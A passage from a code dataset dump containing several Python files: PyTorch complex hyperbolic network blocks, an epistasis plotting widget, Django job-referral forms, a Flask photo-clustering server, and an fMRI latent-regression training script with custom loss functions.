kernel_size=1, bias=False)\n        self.conv2 = conv(in_channel // 4, in_channel // 4, kernel_size=3, bias=False, padding=1)\n        self.conv3 = conv(in_channel // 4, out_channel, kernel_size=1, bias=False)\n        self.se = ComplexSELayer(out_channel, reduction)\n\n    def forward(self, x):\n        y = self.conv1(x)\n        y = self.relu(y)\n        y = self.conv2(y)\n        y = self.relu(y)\n        y = self.conv3(y)\n        y = self.se(y)\n        return y\n\n\nclass CmplxHyperBasic(nn.Module):\n    extension = 1\n    least_required_dim = 1\n\n    def __init__(self, dim, step, relu, conv, reduction=16):\n        super(CmplxHyperBasic, self).__init__()\n        self.dim = dim\n        self.step = step\n\n        if conv == nn.Conv1d:\n            conv = ComplexConv1d\n        elif conv == nn.Conv2d:\n            conv = ComplexConv2d\n        elif conv == nn.Conv3d:\n            conv = ComplexConv3d\n\n        self.input = BasicBlock(self.dim, 2 * self.dim, step, relu, conv, reduction=reduction)\n        self.output = BasicBlock(4 * self.dim, self.dim, step, relu, conv, reduction=reduction)\n\n    def forward(self, x):\n        input = self.input(x)\n        velo = input[:, :self.dim]\n        theta = input[:, self.dim:]\n\n        step = self.step * velo\n\n        y1 = (x + th.tan(theta)) * exp(step * th.sin(theta)) - th.tan(theta)\n        y2 = (x + th.tan(theta * 1j)) * exp(step * th.cos(theta * 1j)) - th.tan(theta * 1j)\n        y3 = (x + th.tan(theta * -1)) * exp(step * th.sin(theta * -1)) - th.tan(theta * -1)\n        y4 = (x + th.tan(theta * -1j)) * exp(step * th.cos(theta * -1j)) - th.tan(theta * -1j)\n        ys = th.cat((y1, y2, y3, y4), dim=1)\n\n        y = x + self.output(ys)\n\n        return y\n\n\nclass CmplxHyperBottleneck(nn.Module):\n    extension = 4\n    least_required_dim = 1\n\n    def __init__(self, dim, step, relu, conv, reduction=16):\n        super(CmplxHyperBottleneck, self).__init__()\n        self.dim = dim\n        self.step = step\n\n        if conv == nn.Conv1d:\n            conv = ComplexConv1d\n        elif conv == nn.Conv2d:\n            conv = ComplexConv2d\n        elif conv == nn.Conv3d:\n            conv = ComplexConv3d\n\n        self.input = Bottleneck(self.dim, 2 * self.dim, step, relu, conv, reduction=reduction)\n        self.output = Bottleneck(4 * self.dim, self.dim, step, relu, conv, reduction=reduction)\n\n    def forward(self, x):\n        input = self.input(x)\n        velo = input[:, :self.dim]\n        theta = input[:, self.dim:]\n\n        step = self.step * velo\n\n        y1 = (x + th.tanh(theta)) * exp(step * th.sin(theta)) - th.tanh(theta)\n        y2 = (x + th.tanh(theta * 1j)) * exp(step * th.cos(theta * 1j)) - th.tanh(theta * 1j)\n        y3 = (x + th.tanh(theta * -1)) * exp(step * th.cos(theta * -1)) - th.tanh(theta * -1)\n        y4 = (x + th.tanh(theta * -1j)) * exp(step * th.cos(theta * -1j)) - th.tanh(theta * -1j)\n        ys = th.cat((y1, y2, y3, y4), dim=1)\n\n        y = x + self.output(ys)\n\n        return y\n", "sub_path": "leibniz/unet/complex_hyperbolic2.py", "file_name": "complex_hyperbolic2.py", "file_ext": "py", "file_size_in_byte": 5363, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "torch.tanh", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 15, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "leibniz.nn.activation.ComplexLinear", "line_number": 21, "usage_type": "call"}, {"api_name": "leibniz.nn.activation.ComplexReLU", "line_number": 22, "usage_type": "call"}, {"api_name": "leibniz.nn.activation.ComplexLinear", "line_number": 23, "usage_type": "call"}, {"api_name": "leibniz.nn.activation.Sigmoid", "line_number": 24, "usage_type": "call"}, {"api_name": "leibniz.nn.pooling.ComplexAvgPool1d", "line_number": 32, "usage_type": "call"}, {"api_name": "leibniz.nn.pooling.ComplexAvgPool2d", "line_number": 38, "usage_type": "call"}, {"api_name": "leibniz.nn.pooling.ComplexAvgPool3d", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 51, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 51, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 69, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 69, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 90, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 90, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 99, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 99, "usage_type": "name"}, {"api_name": "leibniz.nn.conv.ComplexConv1d", "line_number": 100, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 101, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 101, "usage_type": "name"}, {"api_name": "leibniz.nn.conv.ComplexConv2d", "line_number": 102, "usage_type": "name"}, {"api_name": "torch.nn.Conv3d", "line_number": 103, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 103, "usage_type": "name"}, {"api_name": "leibniz.nn.conv.ComplexConv3d", "line_number": 104, "usage_type": "name"}, {"api_name": "torch.tan", "line_number": 116, "usage_type": "call"}, {"api_name": "torch.sin", "line_number": 116, "usage_type": "call"}, {"api_name": "torch.tan", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.cos", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.tan", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.sin", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.tan", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.cos", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 120, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 127, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 127, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 136, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 136, "usage_type": "name"}, {"api_name": "leibniz.nn.conv.ComplexConv1d", "line_number": 137, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 138, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 138, "usage_type": "name"}, {"api_name": "leibniz.nn.conv.ComplexConv2d", "line_number": 139, "usage_type": "name"}, {"api_name": "torch.nn.Conv3d", "line_number": 140, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 140, "usage_type": "name"}, {"api_name": "leibniz.nn.conv.ComplexConv3d", "line_number": 141, "usage_type": "name"}, {"api_name": "torch.tanh", "line_number": 153, "usage_type": "call"}, {"api_name": "torch.sin", "line_number": 153, "usage_type": "call"}, {"api_name": "torch.tanh", "line_number": 154, "usage_type": "call"}, {"api_name": "torch.cos", "line_number": 154, "usage_type": "call"}, {"api_name": "torch.tanh", "line_number": 155, "usage_type": "call"}, {"api_name": "torch.cos", "line_number": 155, "usage_type": "call"}, {"api_name": "torch.tanh", "line_number": 156, "usage_type": "call"}, {"api_name": "torch.cos", "line_number": 156, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 157, "usage_type": "call"}]}
+{"seq_id": "238270756", "text": "import numpy as np\nfrom ipywidgets import interactive as _interactive\nfrom ipywidgets import fixed as _fixed\nfrom .epistasis import epistasis as _epistasis_plot\nfrom collections import OrderedDict\n\ndef savewrapper(func, *args, **kwargs):\n    \"\"\"Wrapper to save figures.\"\"\"\n    def inner(fname, format, save=False, *args, **kwarg):\n        print(**kwargs)\n        print(\"hi\")\n        fig, ax = func(*args, **kwargs)\n        if save:\n            fig.savefig(fname, format=format, bbox_height=\"tight\")\n        return fig, ax\n    return inner\n\ndef epistasis(betas, labels, errors=[], **kwargs):\n    \"\"\"Create a widget for interactive epistasis plots.\n    \"\"\"\n    options = OrderedDict(\n        save=False,\n        fname=\"figure.svg\",\n        format=\"svg\",\n        y_axis_name=\"interaction\",\n        xgrid=True,\n        figwidth=(1,20, .5),\n        figheight=(1,20, .5),\n        y_scalar=(0,5,.1),\n        height_ratio=(0,10,1),\n        star_spacer=(0.000,0.1,0.001),\n        significance=[\"bon\", \"p\", None],\n        significance_cutoff=_fixed(0.05),\n        sigmas=(0,5,.5),\n        ecolor=\"black\",\n        capthick=(0,2,.1),\n        capsize=(0,2,.1),\n        elinewidth=(0,5,.1),\n        log_space=False,\n        log_transform=False,\n    )\n    types = dict([(key, type(val)) for key, val in options.items()])\n    for key, value in kwargs.items():\n        typed = types[key]\n        if typed == np.ufunc:\n            typed_val = value\n        elif options[key] == None:\n            typed_val = value\n        else:\n            typed_val = types[key](value)\n        options[key] = typed_val\n\n    w = _interactive(_epistasis_plot,\n        betas=_fixed(betas),\n        labels=_fixed(labels),\n        errors=_fixed(errors),\n        **options\n    )\n\n    return w\n", "sub_path": "epistasis/plot/old/interactive.py", "file_name": "interactive.py", "file_ext": "py", "file_size_in_byte": 1753, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "collections.OrderedDict", "line_number": 21, "usage_type": "call"}, {"api_name": "ipywidgets.fixed", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.ufunc", "line_number": 45, "usage_type": "attribute"}, {"api_name": "ipywidgets.interactive", "line_number": 53, "usage_type": "call"}, {"api_name": "epistasis.epistasis", "line_number": 53, "usage_type": "argument"}, {"api_name": "ipywidgets.fixed", "line_number": 54, "usage_type": "call"}, {"api_name": "ipywidgets.fixed", "line_number": 55, "usage_type": "call"}, {"api_name": "ipywidgets.fixed", "line_number": 56, "usage_type": "call"}]}
+{"seq_id": "100554283", "text": "from django import forms\r\n\r\nfrom .models import Jobseeker, ReferCandidate, Jobopening\r\n\r\n\r\nclass ResumeSubmitForm(forms.ModelForm):\r\n    class Meta:\r\n        model = Jobseeker\r\n        fields = '__all__'\r\n        exclude = ('resume_created', 'feedback_update')\r\n\r\n\r\nclass ReferCandidateForm(forms.ModelForm):\r\n    def __init__(self, *args, **kwargs):\r\n        self.user = kwargs.pop('user', None)\r\n        super(ReferCandidateForm, self).__init__(*args, **kwargs)\r\n\r\n    class Meta:\r\n        model = ReferCandidate\r\n        fields = ['refer_for_the_post_of', 'candidate_name', 'contact_number', 'alternate_number', 'email', 'gender',\r\n                  'current_designation',\r\n                  'current_company_name', 'present_location', 'preferred_location', 'experience', 'notice_period',\r\n                  'skill', 'qualification', 'present_salary', 'expected_salary', 'industry', 'functional_area',\r\n                  'employment_type', ]\r\n\r\n        exclude = ('resume_created',)\r\n\r\n    def save(self, commit=True):\r\n        obj = super(ReferCandidateForm, self).save(commit=False)\r\n\r\n        if obj.user is None:\r\n            obj.user = self.user\r\n\r\n        if commit:\r\n            obj.save()\r\n        return obj\r\n", "sub_path": "jobseeker/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 1221, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.forms.ModelForm", "line_number": 6, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 6, "usage_type": "name"}, {"api_name": "models.Jobseeker", "line_number": 8, "usage_type": "name"}, {"api_name": "django.forms.ModelForm", "line_number": 13, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 13, "usage_type": "name"}, {"api_name": "models.ReferCandidate", "line_number": 19, "usage_type": "name"}]}
+{"seq_id": "594040936", "text": "\"\"\"\n\nAuthors: Sean Donohoe, Kyle Wiese\nCSCI 5722 Final Project\n\n\"\"\"\n\nfrom tkinter import *\nfrom tkinter import filedialog\nfrom clustering import clusterPhotos\nfrom peopleDetection import (selectPeople, clusterPeople)\nfrom html_template import (formatString, indexString, peopleString)\nimport os\nimport shutil\nfrom flask import Flask, request, send_file\napp = Flask(__name__)\n\nclass MyApp():\n    def __init__(self):\n        self.listTag = \"
  • {}
    • \" \n        self.elemTag = \"\"\n\n        self.files = set([])\n\n    def chooseFiles(self):\n        root = Tk()\n        root.withdraw()\n        newFiles = filedialog.askopenfilename(multiple=True)\n        self.files.update(newFiles)\n\n    def sortPeople(self):\n        home = os.getcwd()+\"/static/output/people_page.html\"\n        peoplePhotos = selectPeople(self.files)\n        if os.path.isdir(os.getcwd()+\"/static/output\"):\n            shutil.rmtree(os.getcwd()+\"/static/output\")\n        os.makedirs(os.getcwd()+\"/static/output\")\n        indexLinks = \"\"\n        for filename in peoplePhotos:\n            name = filename.split('/')[-1]\n            sname = name.split('.')[0]\n            url_vals = filename.split('/')[-3:]\n            url = \"/\" + \"/\".join(url_vals)\n            newTag = self.listTag.format(url, name, url)\n            indexLinks += newTag\n        fileString = peopleString.format(indexLinks)\n        fn = open(home, 'w')\n        fn.write(fileString)\n        fn.close()\n\n    def sortPhotos(self):\n        home = os.getcwd()+\"/static/output/cluster_page.html\"\n        clusters = clusterPhotos(self.files)\n        if os.path.isdir(os.getcwd()+\"/static/output\"):\n            shutil.rmtree(os.getcwd()+\"/static/output\")\n        os.makedirs(os.getcwd()+\"/static/output\")\n        indexLinks = \"\"\n        for filename in clusters:\n            name = filename.split('/')[-1]\n            sname = name.split('.')[0]\n            outfilename = os.getcwd()+\"/static/output/{}.html\".format(sname)\n            newFile = open(outfilename, 'w')\n            listString = \"\"\n            for assocFile in clusters[filename]:\n                f = assocFile.split('/')[-1]\n                url_vals = assocFile.split('/')[-2:]\n                url = \"/static/\" + url_vals[0] + \"/\" + url_vals[1]\n                newstr = self.listTag.format(url,f,url)\n                listString += newstr\n            required_val = outfilename.split('/')[-2:]\n            page_val = required_val[0] + \"/\" + required_val[1]\n            newIndexStr = self.elemTag.format(page_val, sname, len(clusters[filename]))\n            indexLinks += newIndexStr\n            url_vals = filename.split('/')[-2:]\n            url = \"/static/\" + url_vals[0] + \"/\" + url_vals[1]\n            fileStr = formatString.format(url, name, url, listString)\n            newFile.write(fileStr)\n            newFile.close()\n        indexfile = open(home, 'w')\n        indextext = indexString.format(indexLinks)\n        indexfile.write(indextext)\n        indexfile.close()\n        print(\"Done\")\n\n    def sortPeopleFaces(self):\n        home = os.getcwd()+\"/static/output/face_cluster_page.html\"\n        clusters = clusterPeople(self.files)\n        if os.path.isdir(os.getcwd()+\"/static/output\"):\n            shutil.rmtree(os.getcwd()+\"/static/output\")\n        os.makedirs(os.getcwd()+\"/static/output\")\n        indexLinks = \"\"\n        for filename in clusters:\n            name = filename.split('/')[-1]\n            sname = name.split('.')[0]\n            outfilename = os.getcwd()+\"/static/output/{}-face.html\".format(sname)\n            newFile = open(outfilename, 'w')\n            listString = \"\"\n            for assocFile in clusters[filename]:\n                f = assocFile.split('/')[-1]\n                url_vals = assocFile.split('/')[-2:]\n                url = \"/static/\" + url_vals[0] + \"/\" + url_vals[1]\n                newstr = self.listTag.format(url,f,url)\n                listString += newstr\n            required_val = outfilename.split('/')[-2:]\n            page_val = required_val[0] + \"/\" + required_val[1]\n            newIndexStr = self.elemTag.format(page_val, sname, len(clusters[filename]))\n            indexLinks += newIndexStr\n            url_vals = filename.split('/')[-2:]\n            url = \"/static/\" + url_vals[0] + \"/\" + url_vals[1]\n            fileStr = formatString.format(url, name, url, listString)\n            newFile.write(fileStr)\n            newFile.close()\n        indexfile = open(home, 'w')\n        indextext = indexString.format(indexLinks)\n        indexfile.write(indextext)\n        indexfile.close()\n        print(\"Done\")\n\n\n\n@app.route(\"/\")\ndef index():\n    return app.send_static_file('index.html')\n\n@app.route('/cluster_page/')\ndef cluster_link():\n    clustering = MyApp()\n    clustering.chooseFiles()\n    clustering.sortPhotos()\n    return app.send_static_file('output/cluster_page.html')\n\n@app.route('/face_cluster_page/')\ndef facer_link():\n    clustering = MyApp()\n    clustering.chooseFiles()\n    clustering.sortPeopleFaces()\n    return app.send_static_file('output/face_cluster_page.html')\n\n\n@app.route('/detail_page/', methods=['GET', 'POST'])\ndef detail_page():\n    if request.method == \"POST\":\n        cluster_file = request.form[\"cluster\"]\n        print(cluster_file)\n        return app.send_static_file(cluster_file)\n    else:\n        return 'Error!'\n\n@app.route('/people_page/')\ndef people_link():\n    clustering = MyApp()\n    clustering.chooseFiles()\n    clustering.sortPeople()\n    return app.send_static_file('output/people_page.html')\n\n\nif __name__ == \"__main__\":\n    app.run()\n", "sub_path": "server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 5681, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "flask.Flask", "line_number": 16, "usage_type": "call"}, {"api_name": "tkinter.filedialog.askopenfilename", "line_number": 28, "usage_type": "call"}, {"api_name": "tkinter.filedialog", "line_number": 28, "usage_type": "name"}, {"api_name": "os.getcwd", "line_number": 32, "usage_type": "call"}, {"api_name": "peopleDetection.selectPeople", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 34, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 35, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 35, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 36, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 36, "usage_type": "call"}, {"api_name": "html_template.peopleString.format", "line_number": 45, "usage_type": "call"}, {"api_name": "html_template.peopleString", "line_number": 45, "usage_type": "name"}, {"api_name": "os.getcwd", "line_number": 51, "usage_type": "call"}, {"api_name": "clustering.clusterPhotos", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 53, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 54, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 54, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 55, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 55, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 60, "usage_type": "call"}, {"api_name": "html_template.formatString.format", "line_number": 75, "usage_type": "call"}, {"api_name": "html_template.formatString", "line_number": 75, "usage_type": "name"}, {"api_name": "html_template.indexString.format", "line_number": 79, "usage_type": "call"}, {"api_name": "html_template.indexString", "line_number": 79, "usage_type": "name"}, {"api_name": "os.getcwd", "line_number": 85, "usage_type": "call"}, {"api_name": "peopleDetection.clusterPeople", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 87, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 88, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 88, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 89, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 89, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 94, "usage_type": "call"}, {"api_name": "html_template.formatString.format", "line_number": 109, "usage_type": "call"}, {"api_name": "html_template.formatString", "line_number": 109, "usage_type": "name"}, {"api_name": "html_template.indexString.format", "line_number": 113, "usage_type": "call"}, {"api_name": "html_template.indexString", "line_number": 113, "usage_type": "name"}, {"api_name": "clustering.chooseFiles", "line_number": 127, "usage_type": "call"}, {"api_name": "clustering.sortPhotos", "line_number": 128, "usage_type": "call"}, {"api_name": "clustering.chooseFiles", "line_number": 134, "usage_type": "call"}, {"api_name": "clustering.sortPeopleFaces", "line_number": 135, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 141, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 141, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 142, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 142, "usage_type": "name"}, {"api_name": "clustering.chooseFiles", "line_number": 151, "usage_type": "call"}, {"api_name": "clustering.sortPeople", "line_number": 152, "usage_type": "call"}]}
+{"seq_id": "513991230", "text": "import torch\nimport torch.nn as nn\nfrom MyDataset import fmri_dataset, fmri_fmap_all_k_dataset\nimport h5py\nfrom torch.utils.data import DataLoader\nfrom visdom import Visdom\nimport numpy as np\nimport os\nimport json\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"3\"\n\nwith h5py.File(\"/data1/home/guangjie/Data/vim-2-gallant/myOrig/imagenet128_embeds_from_vqvae.hdf5\", 'r') as ebf:\n    embeds = torch.from_numpy(ebf['embeds'][:]).cuda()\n\nnormal_criterion = nn.MSELoss()\n\n\ndef constraintMSELoss(out, target):  # todo 优化\n    global embeds, normal_criterion\n    normal_loss = torch.mean((out - target) ** 2, dim=1)\n    expand_out = out[:, None, :]\n    dist = torch.mean((expand_out - embeds) ** 2, dim=2)\n    # lt_idx = torch.ge(normal_loss[:, None], dist)  # todo 不是lt 是gt,更改为ge,防止空列表\n    diff = normal_loss[:, None] - dist\n    select_idx = torch.le(torch.tensor(0.0).cuda(), diff)\n    argminloss = torch.mean(diff[select_idx])\n    # argminloss = nn.functional.mse_loss(out, target)\n    # return torch.exp(argminloss) +\n    return normal_criterion(out,\n                            target), argminloss  # -torch.log(argmaxloss)  # 1 / argmaxloss  # todo 超参数    #torch.log(argmaxloss)\n\n\ndef constraint2dist(out, target, k):\n    global embeds, normal_criterion\n    # dist1 = normal_criterion(out, target)\n    dist2 = normal_criterion(out, embeds[k])\n\n    normal_loss = torch.mean((out - embeds[k]) ** 2, dim=1)\n    expand_out = out[:, None, :]\n    dist = torch.mean((expand_out - embeds) ** 2, dim=2)\n    # todo 防止空列表\n    diff = normal_loss[:, None] - dist\n    select_idx = torch.le(torch.tensor(0.0).cuda(), diff)\n    argminloss = torch.mean(diff[select_idx])\n    # ge_idx = torch.ge(normal_loss[:, None], dist)\n    # return dist2, argminloss\n    return torch.log(dist2 + 1), dist2  # torch.log(argminloss + 1)\n    # return torch.exp(dist2) - 1, torch.exp(argminloss) - 1  # torch.exp(argminloss) - 1\n    # argmaxloss = torch.mean(dist[ge_idx])\n    # return (dist1 + dist2) / 2, argminloss\n    # return (torch.log(dist1 + 1) + torch.log(dist2 + 1)) / 2, torch.log(argminloss+ 1)\n    # return dist1, dist2 / argmaxloss - 1\n    # return torch.log(dist1 + dist2 + 1), -torch.log(argmaxloss)*0.001\n    # 0.001 / argmaxloss  # torch.exp(-argmaxloss * 0.1)  # 1 / argmaxloss\n    # torch.log(1.8 - argmaxloss)  # -torch.log(argmaxloss) * 0.0001 dist1 +\n    #  torch.exp((dist1 + dist2) / 2) - 1 #\n    # torch.exp(-argmaxloss)*100  # argminloss  # torch.log(argminloss + 1)\n    # return dist1, dist2\n\n\ndef constraint2distForFrames(outs, targets, ks):\n    '''\n    计算15帧fmri回归后的loss\n    :param outs: shape=(batch_size,time_step,128)\n    :param targets: shape=(batch_size,time_step,128)\n    :param ks: shape=(batch_size,time_step,1)\n    :return: (mse(out,ze)+mse(out,zq))/2,embeds中所有与out的距离小于target的距离差的均值\n    '''\n    global embeds, normal_criterion\n    dist1 = normal_criterion(outs, targets)\n    dist2 = normal_criterion(outs, embeds[ks])  # todo 检查\n\n    # normal_loss = torch.mean((out - embeds[k]) ** 2, dim=1)\n    # expand_out = out[:, None, :]\n    # dist = torch.mean((expand_out - embeds) ** 2, dim=2)\n    # # todo 防止空列表\n    # diff = normal_loss[:, None] - dist\n    # select_idx = torch.le(torch.tensor(0.0).cuda(), diff)\n    # argminloss = torch.mean(diff[select_idx])\n    # return (dist1 + dist2) / 2, argminloss\n\n\n# # targetloss = nn.functional.mse_loss(out, target)\n# batchloss_list = []\n# for i, (o, t) in enumerate(zip(out, target)):\n#     targetloss = nn.functional.mse_loss(o, t)\n#     loss_list = []\n#     for e in embeds:\n#         loss_item = nn.functional.mse_loss(o, e)\n#         if loss_item > targetloss:\n#             loss_list.append(-loss_item)\n#     # loss_list = torch.as_tensor(loss_list).cuda()\n#     # t = torch.lt(targetloss, loss_list)\n#     loss_list = torch.tensor(loss_list, requires_grad=True)\n#     mean_loss = torch.mean(loss_list)\n#     if not torch.isnan(mean_loss):  # todo 为什么会出现nan?\n#         batchloss_list.append(mean_loss)\n#     # 找到比target loss 大的 加负号加权求和返回返回\n# # notargetloss = nn.functional.mse_loss(out[0], embeds)\n# batchloss_list = torch.stack(batchloss_list)\n# return torch.mean(batchloss_list).cuda() + nn.functional.mse_loss(out, target).cuda()\n\n\nclass LinearRegressionModel(nn.Module):\n\n    def __init__(self, input_dim, output_dim):\n        super(LinearRegressionModel, self).__init__()\n        # Calling Super Class's constructor\n        self.linear = nn.Linear(input_dim, output_dim)\n        # nn.linear is defined in nn.Module\n        # self.activate = nn.Tanh()\n\n    def forward(self, x):\n        # Here the forward pass is simply a linear function\n        out = self.linear(x)\n        return out  # self.activate(out)  # todo\n\n\nclass NonLinearRegressionModel(nn.Module):\n\n    def __init__(self, input_dim, output_dim):\n        super().__init__()\n        # Calling Super Class's constructor\n        self.linear1 = nn.Linear(input_dim, 256)  # 1024 256 128\n        # self.linear2 = nn.Linear(512, 256)  # 1024 256 128\n        self.linear2 = nn.Linear(256, output_dim)  # 1024 256 128\n        # self.linear2 = nn.Linear(4096, 2048)\n        # self.linear3 = nn.Linear(2048, 1024)\n        # self.linear3 = nn.Linear(256, output_dim)\n\n        # nn.linear is defined in nn.Module\n        # self.relu = nn.LeakyReLU()\n        self.activate = nn.Tanh()\n        # self.out_activate = nn.Tanh()\n\n    def forward(self, x):\n        # Here the forward pass is simply a linear function\n        out = self.activate(self.linear1(x))\n        out = self.activate(self.linear2(out))\n        # out = self.activate(self.linear3(out))\n        # out = self.activate(self.linear3(out))\n        # out = self.activate(self.linear4(out))\n        # out = self.activate(self.linear2(out))\n        return out\n\n\ndef init_weights(m):\n    if type(m) == nn.Linear:\n        nn.init.uniform_(m.weight, a=-0.001, b=0.001)\n        # if m.bias:\n        nn.init.uniform_(m.bias, a=-0.001, b=0.001)\n        # m.weight.data.normal_(0.0, 0.02)\n        # m.bias.data.normal_(0.0, 0.02)\n\n\nclass LSTMRegressionModel(nn.Module):\n    def __init__(self, in_size, hidden_size, time_step=15):\n        super().__init__()\n        self.lstmcell = nn.LSTMCell(in_size, hidden_size)\n        self.time_step = time_step\n\n    def forward(self, x):\n        # todo hx,cx init\n        hx = torch.full((x.shape[0], self.hidden_size), 0.01).cuda()  # todo 更改初始值会影响精度\n        cx = torch.full((x.shape[0], self.hidden_size), 0.01).cuda()\n\n        out_list = []\n        for i in range(self.time_step):\n            hx, cx = self.lstmcell(x, (hx, cx))\n            out_list.append(hx)  # 每帧的回归输出\n\n        return torch.from_numpy(out_list)\n\n\ndef train_lstm(viz, model, dataloader, optimiser, criterion, train_win_mse, train_win_dist, train_global_idx, logIter):\n    model.train()\n    for step, (fmri, latence, k) in enumerate(dataloader):\n        # 一次性读15帧数据\n        optimiser.zero_grad()\n        fmri = fmri.cuda()\n        latence = latence.cuda()\n        out = model(fmri)\n        mseloss, diffloss = criterion(out, latence, k)\n        loss = mseloss + diffloss\n        loss.backward()\n        optimiser.step()\n        if step % logIter == 0:\n            if train_win_mse and train_win_dist:\n                # viz.line(Y=torch.cat([mseLoss.view(1),distLoss.view(1)]).view(1,2), X=np.column_stack((train_global_idx,train_global_idx)), win=train_win,\n                #          update=\"append\",opts={'title': 'train loss'})\n                viz.line(Y=mseloss.view(1), X=train_global_idx, win=train_win_mse, update=\"append\",\n                         opts={'title': 'train mse loss'})\n                viz.line(Y=diffloss.view(1), X=train_global_idx, win=train_win_dist, update=\"append\",\n                         opts={'title': 'train dist loss'})\n                # torch.cat([mseLoss.view(1),distLoss.view(1)]).view(1,2)\n                # np.column_stack((train_global_idx,train_global_idx))\n                train_global_idx += 1\n                print('step_{}_train_loss : {}'.format(step, loss.item()))\n\n\ndef test_lstm(viz, model, dataloader, criterion, test_win_mse, test_win_dist, test_global_idx, logIter):\n    model.eval()\n    with torch.no_grad():\n        mse_loss_list = []\n        dist_loss_list = []\n        for step, (fmri, latence, k) in enumerate(dataloader):\n            # 一次性读15帧数据\n            fmri = fmri.cuda()\n            latence = latence.cuda()\n            out = model(fmri)\n            mseloss, diffloss = criterion(out, latence, k)\n            # loss = mseloss + diffloss\n            mse_loss_list.append(mseloss)\n            dist_loss_list.append(diffloss)\n\n        mse_mean_loss = sum(mse_loss_list) / len(mse_loss_list)\n        dist_mean_loss = sum(dist_loss_list) / len(dist_loss_list)\n\n        if test_win_mse and test_win_dist:\n            viz.line(Y=mse_mean_loss.view(1), X=test_global_idx, win=test_win_mse, update=\"append\",\n                     opts={'title': 'test mse loss'})\n            viz.line(Y=dist_mean_loss.view(1), X=test_global_idx, win=test_win_dist, update=\"append\",\n                     opts={'title': 'test dist loss'})\n            test_global_idx += 1\n            print('test_mse_loss : {},test_dist_loss:{}'.format(mse_mean_loss.item(), dist_mean_loss.item()))\n        return mse_mean_loss  # todo\n\n\ndef train(viz, model, dataloader, train_win_mse, logIter, optimiser, criterion, train_global_idx):\n    model.train()\n    for step, (fmri, fmaps) in enumerate(dataloader):\n        # model.zero_grad()\n        optimiser.zero_grad()\n        fmri = fmri.cuda()\n        fmaps = fmaps.cuda()\n\n        out = model(fmri)\n        mseLoss = criterion(out, fmaps)\n        loss = mseLoss\n        loss.backward()\n\n        optimiser.step()\n\n        if step % logIter == 0:\n            if train_win_mse:\n                viz.line(Y=mseLoss.view(1), X=train_global_idx, win=train_win_mse, update=\"append\",\n                         opts={'title': 'train mse loss'})\n                # viz.line(Y=distLoss.view(1), X=train_global_idx, win=train_win_dist, update=\"append\",\n                #          